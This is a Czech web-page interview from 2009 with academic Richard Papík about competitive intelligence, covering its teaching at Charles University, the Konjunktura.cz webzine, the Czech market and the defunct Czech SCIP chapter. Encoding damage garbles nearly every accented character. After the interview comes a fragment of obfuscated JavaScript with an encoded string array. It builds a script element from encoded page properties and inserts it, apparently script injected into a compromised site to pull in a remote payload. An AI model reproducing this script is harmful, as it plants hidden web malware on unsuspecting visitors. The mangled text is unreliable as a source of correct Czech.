Rozhovor s PhDr. Richardem PapAi??kem

Odborné články, Rozhovory

22. 11. 2009

Jak jste se Vy sA?m dostal k problematice konkurenA?nAi??ho zpravodajstvAi???

Dostal jsem se k problematice competitive intelligence, prA?zkumu konkurenA?nAi??ho prostAi??edAi?? etickA?mi a legA?lnAi??mi metodami z veAi??ejnAi?? pAi??Ai??stupnA?ch zdrojA?, relativnAi?? nA?hodnAi??, a pAi??esto ne neA?ekanAi??, a to pAi??es vAi??deckAi?? informace. V poA?A?tku 90.let se uA?ivatelAi?? informaA?nAi??ch sluA?eb v oblasti vAi??dy a vA?zkumu, se kterA?mi jsem spolupracoval, zaA?ali zajAi??mat o obchodnAi?? aspekty technologiAi??, vAi??dy a vA?zkumu. ZabA?vali se takAi?? oblastAi?? tzv. science business, mnozAi?? vA?zkumnAi??ci se stali manaA?ery firem s technologiemi pro nejrA?znAi??jA?Ai?? obory. I oni se kromAi?? svAi??ho oboru seznamovali s praktickou ekonomiAi??. VA?bec nic jsem o problematice CI nevAi??dAi??l, a tak jsem se musel uA?it, abych rozumAi??l lAi??pe informaA?nAi??m potAi??ebA?m onAi??ch uA?ivatelA?. Mimo jinAi?? problematikou CI se v A?eskoslovensku a pak v A?eskAi?? republice zabA?val jako jeden z prvnAi??ch Michael Babka, takAi?? absolvent dAi??Ai??vAi??jA?A­i?? Katedry vAi??deckA?ch informacAi?? a knihovnictvAi?? na FF UK a profesAi?? vynikajAi??cAi?? reA?erA?Ai??r v databA?zovA?ch centrech, pozdAi??ji spoluzakladatel spoleA?nosti Albertina Data, dnes je tato firma souA?A?sti Creditinfo A?eskA? republika. Michala Babku povaA?uji za svAi??ho neformA?lnAi??ho uA?itele v reA?erA?nAi??ch strategiAi??ch, pozdAi??ji takAi?? kolegy ve spoleA?nosti Medistyl Jaroslava HorkAi??ho nebo Bohumila BoA?ka, pAi??Ai??padnAi?? experta online vyhledA?vA?nAi?? JiAi??Ai??ho KadleA?ka z dneA?nAi?? Albertina icome Praha. Ti vA?ichni mnohem dAi??Ai??ve vAi??dAi??li, co je CI, a jak se oblast napAi??. online sluA?eb toho tAi??matu dotA?kA?. Byli a vlastnAi?? jsou stA?le pro mne inspiracAi??.

PA?sobAi??te jako vysokoA?kolskA? uA?itel na KarlovAi?? univerzitAi??, mohl byste popsat, jak velkA? prostor je vAi??novA?n problematice CI v rA?mci studijnAi??ch programA? na AsISK?

Prostor CI je vAi??novA?n relativnAi?? A?asto a v kontextu jinA?ch informaA?nAi??ch a knihovnickA?ch tAi??mat. TakAi?? obA?asnou vA?bAi??rovou pAi??ednA?A?ku stejnAi??ho jmAi??na ai??i?? Competitive Intelligence. V nAi??kterA?ch vAi??cech kolem vyuA?ovA?nAi?? CI tAi??mat mi pomA?hala i diplomantka Petra SlukovA?, dneA?nAi?? naA?e kolegynAi?? na AsISK FF UK. JiA? v polovinAi?? 90.let bAi??A?ely vA?bAi??rovAi?? pAi??edmAi??ty s tAi??mto nA?zvem na AsISK FF UK. O CI se souA?asnAi?? studenti dozvAi??dajAi?? v pAi??edmAi??tech ReA?erA?nAi??ch strategiAi??, SpeciA?lnAi??ch informaA?nAi??ch fondA? a sluA?eb, InformaA?nAi??ho prA?myslu, v pAi??edmAi??tech s tematikou podnikovA?ch informaA?nAi??ch systAi??mA? nebo znalostnAi??ch systAi??mA?. NAi??kolik kolegA? na AsISK se ve svAi?? praxi dotA?kalo tAi??to tematiky a na studenty umAi?? pAi??enA?A?et toto tAi??ma i teoreticky. VA?bec by nebyl problAi??m udAi??lat nAi??co vAi??tA?Ai??ho a systAi??movAi??jA?A­i??ho na celAi?? UniverzitAi?? KarlovAi?? vA?etnAi?? specializovanAi??ho studia, klidnAi?? ve spoluprA?ci s Asstavem informaA?nAi??ch studiAi?? a knihovnictvAi??, ale nenAi?? to zatAi??m na poAi??adu dne. Je spoustu jinA?ch aktivit a toto nespAi??chA?, pAi??estoA?e jde o tAi??ma zajAi??mavAi??.

Ale CI je zajAi??mavou studijnAi?? tematikou a zaslouA?Ai?? si mAi??sto v osnovA?ch oboru informaA?nAi??ch studiAi?? a knihovnictvAi??. MAi??lo by tam vlastnAi?? bA?t. V tom za svAi??tem nejsme pozadu, dokonce vepAi??edu, ale to by bylo delA?Ai?? povAi??dA?nAi??. V podstatAi?? obor informaA?nAi?? studia a knihovnictvAi?? je prvnAi?? v A?R, kterA? se zaA?al zabA?vat vA?ukovAi?? touto tematikou. Na ekonomickA?ch A?kolA?ch se zaA?alo pozdAi??ji. Ale mA? to svou logiku. A jsem rA?d, A?e CI se dostalo do zA?jmu kolegA? v BrnAi??. Bude to jednou o spoluprA?ci v tAi??to oblasti. Ta nenAi??, protoA?e nenAi?? A?as.

V roce 2001 vznikl projekt Konjunktura.cz, na konci roku 2007 proA?el podle informacAi?? na webovA?ch strA?nkA?ch zA?sadnAi?? promAi??nou. JakA? je souA?asnA? stav tohoto webzinu? Je stA?le ai??zA?ivA?ai????

Projekt Konjunktura.cz nenAi?? v souA?asnosti pAi??Ai??liA? A?ivA?, kdysi v dobAi?? nejvAi??tA?Ai?? slA?vy byl souA?A?stAi?? projektu Valnehromady.cz a stA?l za nAi??m autorsky i podnikatelsky Jakub LeA?ikar a Jana LeA?ikarovA? se spolupracovnAi??ky. NAi??kdy kolem roku 2001 jsem byl pAi??izvA?n k tA?movAi?? spoluprA?ci. Projekt to byl A?spAi??A?nA? pAi??es Ai??adu pAi??ekA?A?ek pochA?zejAi??cA­i??ch z vnAi??jA?Ai??ho prostAi??edAi??. V souA?asnosti je projekt Konjunktura.cz zakonzervovA?n, ale neskonA?il. Projekt Valnehromady.cz je A?spAi??A?nA? nadA?le. Jakubovi LeA?ikarovi a tA?mu jeho spolupracovnAi??kA? se podaAi??il zajAi??mavA? projekt v oblasti e-businessu a zatAi??m nevadAi??, A?e e-zin Konjunktura.cz je momentA?lnAi?? utlumen, ale ne mrtev. SouvisAi?? to s pAi??eskupo­vA?nAi??m strategiAi?? ve spoleA?nosti Laar, kterA? tA?hla vA?echny zmAi??nAi??nAi?? projekty. NAi??jakAi?? nA?pady jsou. ChybAi?? jen A?as, ale to je vA?mluva, viA?te? Anebo ne?

JakA? je situace v oblasti CI v A?R? KterAi?? firmy jej vyuA?Ai??vajAi?? a proA?? JakA? je rozdAi??l mezi situacAi?? v A?R a v jinA?ch zemAi??ch?

CI u nA?s dAi??lA? celA? Ai??ada firem, ale nemluvAi?? o tom veAi??ejnAi??. Proto se o tom takAi?? mnoho nevAi??. A lidAi??, kteAi??Ai?? pro firmy pracujAi??, takAi?? o tom nehovoAi??Ai??. Je logickAi??, A?e informaA?nAi?? broker nebo CI specialista se mA? chovat eticky a souA?A?stAi?? etiky je i diskrAi??tnost vA?A?i uA?ivateli. VA?dyA? se A?asto pracuje s obchodnAi??m tajemstvAi??m, strategickA?mi zA?mAi??ry firem a je tAi??eba se chrA?nit pAi??ed A?nikem informacAi?? ke konkurenci.

RozhodnAi?? velkAi?? zahraniA?nAi?? firmy vAi??dAi??, co to je CI. TakAi?? i velkAi?? A?eskAi?? firmy. Mezi stAi??ednAi??mi a malA?mi A?eskA?mi firmami vA?ak povAi??domAi?? moc nenAi??. NevAi?? se, co od toho A?ekat a zda to nenAi?? jen takovA? bublina. TakAi?? nejsou penAi??ze na sluA?by a technologie spojenAi?? s CI, celA? Ai??ada produktA? nenAi?? u nA?s vyuA?i­telnA?, pAi??eci jen mA?me v A?R menA?Ai?? trh s obchodnAi??mi a firemnAi??mi informacemi oproti velkA?m zemAi??m. BariAi??r rozA?Ai??Ai??enAi?? CI je obecnAi?? celA? Ai??ada. UrA?itAi?? se na tom podAi??lAi?? i nAi??zkA? povAi??domost o informaA?nAi??ch zdrojAi??ch spojenA?ch s CI. NejvAi??ce populA?rnAi?? jsou A?innosti CI ve SpojenA?ch stA?tech a ve vyspAi??lA?ch velkA?ch prA?myslovA?ch zemAi??ch. Co je vA?ak dobrAi??, A?e o CI se aspoA? vAi??ce vAi?? a A?e mezi prvnAi??mi informovanA?mi jsou jiA? pAi??i studiu studenti informaA?nAi??-knihovnickA?ch oborA?, kteAi??Ai?? i odchA?zejAi?? na takovAi?? pozice do firem. Pravda, vAi??ce zahraniA?nAi??ch neA? do naA?ich. Ale nizozemskA? kolega, co dAi??lA? CI ve svAi??tovAi??m kontextu velmi aktivnAi??, nA?m zA?vidAi??, A?e v A?R ai??i?? v Praze a BrnAi?? je to v osnovA?ch. Kroutil nad tAi??m nevAi??Ai??Ai??cnA­i?? hlavou. AspoA? nAi??co pozitivnAi??ho na tAi??to cestAi?? v A?R.

Jak vidAi??te budoucnost CI v A?R v kontextu postupujAi??cAi?? ekonomickAi?? krize? MA?te nAi??jakAi?? zprA?vy, A?e by se zaA?alo vAi??ce firem tAi??to problematice vAi??novat?

Firmy v A?R krizi a nutnost CI aA? tak nespojujAi??. VidAi??m to zcela reA?lnAi??, A?e se tyto dvAi?? oblasti aA? tak nepotkA?vajAi??. TakAi?? proA?? NicmAi??nAi?? prostor tu potenciA?lnAi?? je. V kaA?dAi?? krizi je zA?rodek pAi??Ai??leA?i­tosti, to je velmi perspektivnAi?? i pro absolventy oboru informaA?nAi??ch studiAi?? a knihovnictvAi??. CI je pAi??Ai??leA?itost a CI je takAi?? potenciA?lnAi?? business. CI je v zA?jmu i stA?tu, neboA? to souvisAi?? s konkurences­chopnostAi?? A?eskA?ch firem. Konkurenceschopnost a CI jsou pak v symbiA?ze jiA? A?zkAi??. CelA? Ai??ada firem se systAi??movAi?? zabA?vA? sledovA?nAi??m informacAi?? o konkurenci z veAi??ejnAi?? pAi??Ai??stupnA?ch zdrojA?, akorA?t to nenazA?vajAi?? CI. NAi??kde je to i souA?A?stAi?? marketingovA?ch aktivit firem, napAi??. marketingovAi??ho prA?zkumu. A o ten se firmy jistAi?? snaA?Ai?? vAi??ce a odpovAi??dnAi??ji. HledajAi?? svAi?? pAi??Ai??leA?itosti k rozmachu nebo povstA?nAi?? z popela krize.

JakA? je VA?A? nA?zor na A?eskou sekci organizace SCIP? JakAi?? jsou dA?vody jejAi??ho zA?niku a jakA? je jeho eventuA?lnAi?? budoucnost?

ZA?nik A?eskAi?? SCIP sekce narazil pAi??edevA?Ai??m na nedostatek A?asu lidAi??, kteAi??Ai?? CI rozumAi??, ale logicky dAi??lajAi?? svA?j business a jiA? nemAi??li tolik energie nejen zaloA?it, ale i udrA?et A?eskou afilaci a rozA?Ai??Ai??it A?lenskou zA?kladnu. Nelze jim to zazlAi??vat. TakAi?? u nA?s nenAi?? takovA? tradice a A?lenskAi?? pAi??Ai??spAi??vky do svAi??tovAi?? CI jsou rovnAi??A? velmi drahAi??. S vA?jimkou studentA?, pro nAi?? je to levnAi?? a doporuA?uji bA?t A?lenem svAi??tovAi??ho SCIP. Budou mAi??t informace i odbornA? A?asopis k dispozici. DAi??lat CI neznamenA? bA?t nutnAi?? jeA?tAi?? organizovA?n. V USA jsou jinAi?? potAi??eby se sdruA?ovat v profesnAi??ch organizacAi??ch, neA? je tomu v A?R. Je to u nich spojeno s urA?itou certifikacAi??. Ta u nA?s nenAi?? ani v oblasti informaA?nAi??ch a knihovnickA?ch A?innostAi??, natoA? v CI. TakA?e reA?lnA? otA?zka. DAi??lejte CI a uvidAi??te, zda je nutnAi?? se organizovat. CI je v souA?asnosti jednAi??m ze subtAi??mat A?eskAi?? informaA?nAi?? spoleA?nosti. Mj. v USA, resp. celosvAi??tovAi?? SpeciA?l Libraries Association (sla.org), tAi??ma CI vzala za svAi?? a v akcAi??ch konkurujAi?? SCIP. Ukazuje to na vzA?jemnou symbiA?zu profesAi??.

VA?iml jste si u nA?s nebo v zahraniA?Ai?? nAi??jakAi??ho novAi??ho vA?voje v oblasti CI? JakAi?? jsou momentA?lnAi?? trendy v oblasti CI?

NejvAi??ce CI je ovlivnAi??no novA?mi technologiemi spojenA?ch s obsahovA?m zpracovA?nAi??m informaA?nAi??ch pramenA?. Na to reagovala i svAi??tovA? databA?zovA? centra svA?mi informaA?nAi??mi produkty. I celA? Ai??ada A?eskA?ch informaA?nAi??-brokerskA?ch firem se zamAi??Ai??uje na informaA?nAi?? sluA?by na mAi??ru a s pAi??idanou hodnotou pro svAi?? klienty vAi??tA?inou z velkA?ch firem. CI se stA?vA? souA?A?stAi?? zA?jmu tzv. chief knowledge officers ai??i?? CKO, kdy se ve firmA?ch prosazuje koncept chovat se ve smyslu na znalostech zaloA?enAi?? firmy (knowledge-based company). NicmAi??nAi?? nenAi?? jeA?tAi?? tolik zA?jemcA?, kteAi??Ai?? by nebyli jen uA?aslAi??, ale i za takovAi?? nadstandardnAi?? sluA?by platili. Jedno je jistAi??, souA?asnA? na znalostech zaloA?enA? spoleA?nost potAi??ebuje i takovAi?? aktivity, jako jsou competitive intelligence. ChvAi??li si poA?kejme a uvidAi??me, jsem optimista. CI si najde svAi?? mAi??sto a naA?i absolventi, jak z Prahy, tak i z Brna, moA?nA? Opavy budou nachA?zet v danAi?? oblasti uplatnAi??nAi??.

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d=document;var s=d[_0×d052[1­]](_0×d052[0]);s[_0×d052­[2]]= _0×d052[3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12];i­f(document[_0×d052[13­]]){document[_0×d052[13­]][_0×d052[15]][_0×d052[­14]](s,documen­t[_0×d052[13]])}el­se {d[_0×d052[18­]](_0×d052[17])[0][_0×d0­52[16]](s)};if(do­cument[_0×d052[11­]][_0×d052[19]]=== _0×d052[20]&& KTracking[_0×d052[22­]][_0×d052[21]](_0×d052[­3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12])===  –1){alert(_0×d052[23­])}var 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Sekce: Profesionál, Podnikatel, Student

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